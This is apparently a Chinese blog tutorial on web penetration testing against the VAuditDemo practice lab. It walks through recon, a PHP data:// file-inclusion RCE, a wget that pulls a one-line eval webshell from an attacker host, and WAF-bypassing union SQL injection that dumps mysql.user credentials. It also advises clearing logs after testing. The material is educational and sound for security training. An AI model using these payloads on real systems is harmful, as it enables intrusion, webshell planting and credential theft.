Web 渗透测试全流程实操
一、渗透测试概念
1.1 定义与原则
进行 Web 渗透测试之前,务必获得测试目标拥有者或组织的书面授权,明确渗透测试的范围。在授权范围内进行渗透测试,测试结束之后,务必清除渗透测试留下的痕迹,包括访问日志、事件记录、上传的 shell 脚本、创建的影子账户等等。
本文详细介绍了 Web 渗透测试的全流程,涵盖概念定义、测试类型(黑白灰盒)、标准操作步骤(前期交互至报告提交)。通过搭建 VAudit 靶场环境,演示了情报搜集、漏洞探测、WAF 绕过、文件包含及 SQL 注入漏洞的利用方法。文章重点讲解了如何利用 PHP 伪协议实现远程代码执行,以及如何通过逻辑绕过 WAF 进行联合注入获取数据库信息。最后阐述了渗透报告的结构与修复建议,强调安全左移的重要性,旨在帮助开发者与安全人员掌握攻防技能,提升系统安全性。

进行 Web 渗透测试之前,务必获得测试目标拥有者或组织的书面授权,明确渗透测试的范围。在授权范围内进行渗透测试,测试结束之后,务必清除渗透测试留下的痕迹,包括访问日志、事件记录、上传的 shell 脚本、创建的影子账户等等。
渗透测试并没有一个标准的定义,但通常被解释为一种评估计算机网络系统安全的方法。这个过程模拟恶意黑客的攻击方式,以寻找并利用系统中的安全漏洞。渗透测试旨在挖掘目标系统的安全漏洞,取得系统的控制权,访问系统的机密数据,并发现可能影响业务持续运作的安全隐患。
渗透测试与黑客入侵的最大区别在于其进行方式。渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。这不仅能帮助管理者了解他们网络所面临的问题,还能提供针对这些问题的安全加固建议,从而帮助客户提升系统的安全性。
渗透测试按照软件测试的理念分为三种类型:白盒测试、黑盒测试、灰盒测试。
安全漏洞被发现到其消亡的过程被划分为多个步骤,其中包含的关键概念如下:
渗透测试步骤通常分为六个主要阶段:
为了演示 Web 渗透测试基本流程和注意事项,我们构建一个本地靶场环境。
从开源社区下载 VAuditDemo 软件,作者是 Virink。以下是详细部署步骤:
lampp/etc/extra 目录下面,通过修改两个配置文件来处理。
/opt/lampp/etc/httpd.conf,添加监听端口,并且包含 httpd-vhosts.conf 文件。
Listen 80 # 默认端口
Listen 81 # VAudit 端口
Listen 82 # 预留端口
Include etc/extra/httpd-vhosts.conf # 取消前面的 # 号注释
/opt/lampp/etc/extra/httpd-vhosts.conf,注释掉其他已有的 *:80 模板内容,增加以下内容:
<VirtualHost *:81>
ServerName localhost
DocumentRoot "/opt/lampp/htdocs/vaudit"
</VirtualHost>
allow_url_include 设置为 On,也就是需要使用到远程文件包含功能。如果 XAMPP 启动失败,需要在 lampp 的启动程序 lampp 中找到 2.2.0,修改为 2.8.0,如下位置:
export LD_ASSUME_KERNEL=2.8.0
/opt/lampp/htdocs/vaudit/sys 目录下面的 config.php 文件。
<?php
error_reporting(0);
if (!file_exists($_SERVER["DOCUMENT_ROOT"] . '/sys/install.lock')) {
header("Location: /install/install.php");
exit;
}
// 注意这行代码,是一个功能 bug,下面这行是原文,需要删掉路径中../sys/,否则留言板功能失效。
//include_once '../sys/lib.php';
include_once 'lib.php';
// 下面为数据库的连接设置,默认安装是不用修改的
$host = "localhost";
$username = "root";
$password = "root";
$database = "vauditdemo";
$conn = mysql_connect($host, $username, $password);
mysql_query('set names utf8', $conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn) {
die('Could not connect: ' . mysql_error());
exit;
}
session_start();
?>
http://192.168.211.132:81/ 看到 VAuditDemo 安装界面。可以看出有两个目录没有写权限,需要 sys 和 uploads 进行赋权。在 /www/admin/localhost_80/wwwroot 下面执行下面的命令,这里只需要给 other 赋予写入权限即可。
chmod o+w sys uploads
然后刷新浏览器,现在可以看到可以安装了。点击安装,看到提示表示完成。点击确定之后,进入到 VAudit 的主页面。现在我们需要熟悉这个软件系统的基本功能,跟踪和监控 Web 页面上的各个接口及交互的数据。这里需要使用到一些工具:SQLMap、Burp Suite、御剑后台扫描工具、带 HackBar 的 Firefox 浏览器等。
先注册一个用户 tester,然后使用 tester 进入,开启对系统的使用之旅。通过使用我们可以发现,注册普通用户不需要验证码,普通用户修改用户信息不需要二次验证,可以上传图头像图片,搜索接口,留言,查看留言,关于页面等普通用户可以点击或使用的功能。
接下来使用御剑后台扫描工具,对系统进行扫描。通过扫描我们可以发现,该目标站点存在一个后台登录的页面。这里可以看出后台登录是有验证码的,看来暂时无法直接绕过。不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了,那么我们可以进入下一个环节,看看是否能够找到一些渗透的切入点。
针对一个 Web 系统,能够使用的渗透点主要包括登录密码的暴力破解、SQL 注入、XSS 注入、CSRF、文件包含等。对于普通用户进行暴力破解没有必要,因为我们可以自己注册一个普通用户。这里主要是考虑如何能够切入到数据库或者存储型 XSS、如果有文件包含也不错,可以进行利用。
经过反复测试,可以发现一个有意思的地方:http://192.168.211.128/index.php?module=about。这个地址的 module 翻译过来为模块,而 about 正好指向关于页面。尝试将 about 改成其他任意的单词,看看页面返回情况。在这个过程中可以发现页面不会报错,但是也没有相应的提示,那么这里应该是一个文件包含的用法,没有抛出错误,估计是代码中给文件加了后缀,并且做了异常控制。可以初步确认,这里存在一个文件包含的漏洞,需要进一步验证。
接下来关注一下留言功能,这里是允许用户输入内容的。在渗透中有一个核心的思想,那就是所有的输入是否用户可控。一般来说,用户可控的输入都有一定的几率存在安全风险,如果后端代码未做过滤或者过滤不够彻底,那么这些地方就是机会。
在这个位置,我们可以尝试的有 SQL 注入和存储型 XSS。先试试 SQL 注入,由于留言属于插入功能,因此这里优先考虑报错注入。结果发现,注入的 SQL 代码被原样显示,显然这里没有 SQL 注入。那么再检测一下是否可以进行 XSS,在输入框中输入以下代码 test 提交留言。可以看出,还是被原文显示,说明这里漏洞也被堵了。
那么点击查看留言详情试试,这里我们可以获得留言详情的接口地址:http://192.168.211.128/messageDetail.php?id=9。这里参数 id 看起来应该是一个查询条件,那么可以尝试看看这里是否存在注入的可能。
在 HackBar 中输入 http://192.168.211.128/messageDetail.php?id=9 or 1=1#。从图上可以看出这里有回显,且从提示看一看出,sql 代码被 WAF(Web Application Firewall)拦截。这里可以知道目标使用了一种 Web 防火墙基础,而 or 被替换为了 sqlwaf,可以看出其防火墙代码采取的是替换策略。
那么根据经验可以试试其他的关键字和关键符号,看看替换中是否存在漏洞可以利用。在 SQL 注入中,&&、||、_ 下划线,单引号,双引号这些符号是非常有用的。如果这些符号被替换,那么我们可能就得另谋出路。因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了,而 && 和 || 被替换为了空,这里就留下了一个注入漏洞,可以利用 || 来绕过关键字的 WAF。
针对文件包含类的漏洞利用,需要知道的是有两种包含方式,第一种就是本地文件包含,这种漏洞的利用可以获取到服务器上面的基本信息。如果有文件上传漏洞存在,则可以将二者进行结合,从而 getshell。而文件包含的利用需要用到 PHP 的伪协议相关的知识,这里我们可以试试 data 伪协议。
先使用下面的 payload 试:
http://192.168.211.132:81/index.php?module=data://text/plain,<?php phpinfo();?>
这个结果表示,我们其实已经可以执行 OS 的命令,也就是 getshell。比如可以执行如下的 payload:
http://192.168.211.132:81/index.php?module=data://text/plain,<?php echo \`ifconfig\`;?>
可以看到已经从服务器获取到了信息,那么可以顺着这个思路往下,将服务器上面的所有能看的文件都进行浏览,从而获取我们需要的信息。
另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马,如果在外网上面,那么服务器需要提供外网的访问功能。服务器脚本的位置就直接方法 /opt/lampp/htdocs 下面,脚本名字可以根据需要来改,其内容只有一句话 <?php eval($\_POST[0]);?>。
在浏览器中执行下面的 payload:
http://192.168.211.132:81/index.php?module=data://text/plain,<?php \`wget http://192.168.211.129/shell.inc -O /tmp/shell.php\`;?>
在被攻击的服务器上面的 /tmp 目录下面可以看到下面的结果。木马上传成功,后续可以使用蚁剑等工具进行连接服务,实施其他的操作。
根据前面概念验证的结果,可以看出在返回留言详情的地方可以进行 SQL 注入。先尝试最直接的方法就是联合注入,payload 如下:
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),4 #
可以看到结果。从这里看出,其内部数据库配置的是本地用户 root@localhost。这里可以试试能否直接从 information_schema 中获取表信息。使用 payload 如下,这里因为要绕开单引号转义,需要把数据库部分的'vauditdemo'转成 hex,即 0x2776617564697464656d6f27。
sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema=0x2776617564697464656d6f27
但是看到的结果如下:这里可以看到内部对下划线做了转义,因此无法从 information_schema 中遍历数据库信息。那就干脆试试能否从 MySQL 库中获取用户信息,payload 如下:
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user) #
可以看到结果如下:Subquery returns more than 1 row。这里表示返回的数据不止一行,那可以使用 limit 进行逐行遍历,payload 如下:
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user lim||it 0,1) #
继续遍历,就可以发现数据库里面的具体用户信息,其中包含远程连接权限的用户。这个时候需要对用户 humh 的密码进行创库破解,然后使用这个用户进行远程登录到数据库服务器,对数据库进行操作,这个时候就完美的避开了系统的 WAF。
渗透测试的最终产出是一份详细的报告。报告应包含以下内容:
allow_url_include 选项,并对输入参数进行严格的白名单校验。本文主要基于靶场环境,阐述 Web 渗透中的一些技巧和方法。文中仅仅选取了两个漏洞作为演示,该系统中实际包含的漏洞超过 10 个,有需要者可以按照本文中的步骤去慢慢挖掘。
网络安全是软件系统质量模型中的重要指标之一。网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效,从而导致用户使用存在困难或者用户无法使用。而网络安全漏洞则可能是在用户无感知的情况下,被有心人进行利用,从而导致用户数据、公司机密等重要信息的泄露,或者服务器或个人设备整个被转成肉鸡,为攻击者的攻击提供便利和掩护。
网络安全漏洞不需要多,一个就行,因此系统在研发开始就需要将网络安全引入。现在流行的称谓是安全左移,网络安全要做到 100%,甚至 200% 才可以。开发人员应在编码阶段遵循安全规范,定期进行代码审计和安全测试,确保系统上线前不存在高危漏洞。运维人员应配置完善的 WAF 和防火墙策略,定期更新系统和组件补丁。安全团队应建立应急响应机制,以便在发生安全事件时能够快速响应和处理。
通过本教程的学习,希望读者能够掌握 Web 渗透测试的基本流程,理解常见漏洞的原理与利用方式,并能够在实际工作中运用这些知识来提升系统的安全性。记住,攻防是相辅相成的,只有深入了解攻击手段,才能构建更坚固的防御体系。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online